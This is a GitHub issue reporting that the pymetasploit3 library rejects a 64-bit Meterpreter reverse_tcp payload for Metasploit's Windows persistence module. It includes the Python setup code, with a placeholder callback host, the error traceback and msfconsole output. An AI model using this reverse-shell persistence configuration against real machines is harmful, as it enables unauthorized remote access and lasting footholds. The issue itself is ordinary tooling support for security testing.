Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

unable to set a 64-bit payload for windows/local/persistence #93

Open
Young-Lord opened this issue May 27, 2023 · 0 comments
Open

unable to set a 64-bit payload for windows/local/persistence #93

Young-Lord opened this issue May 27, 2023 · 0 comments

Comments

@Young-Lord
Copy link

Young-Lord commented May 27, 2023

payload64 = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp')
payload64['LHOST']='1.1.1.1'
payload64['LPORT']='1'

persist64 = client.modules.use('exploit', 'windows/local/persistence')
persist64['EXE_NAME']='1'
persist64['VBS_NAME']='1'
persist64['REG_NAME']='1'
persist64['DELAY']=1
persist64['SESSION']=1
persist64.execute(payload=payload64)


ValueError                                Traceback (most recent call last)
Cell In[59], line 10
---> 10 persist64.execute(payload=payload64)

File D:\Programs\Python\Python311\Lib\site-packages\pymetasploit3\msfrpc.py:1419, in MsfModule.execute(self, **kwargs)
   1417 if isinstance(payload, PayloadModule):
   1418     if payload.modulename not in self.payloads:
-> 1419         raise ValueError(
   1420             'Invalid payload (%s) for given target (%d).' % (payload.modulename, self.target)
   1421         )
   1422     runopts['PAYLOAD'] = payload.modulename
   1423     for k, v in payload.runoptions.items():

ValueError: Invalid payload (windows/x64/meterpreter/reverse_tcp) for given target (0).

msfconsole:

msf6 > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant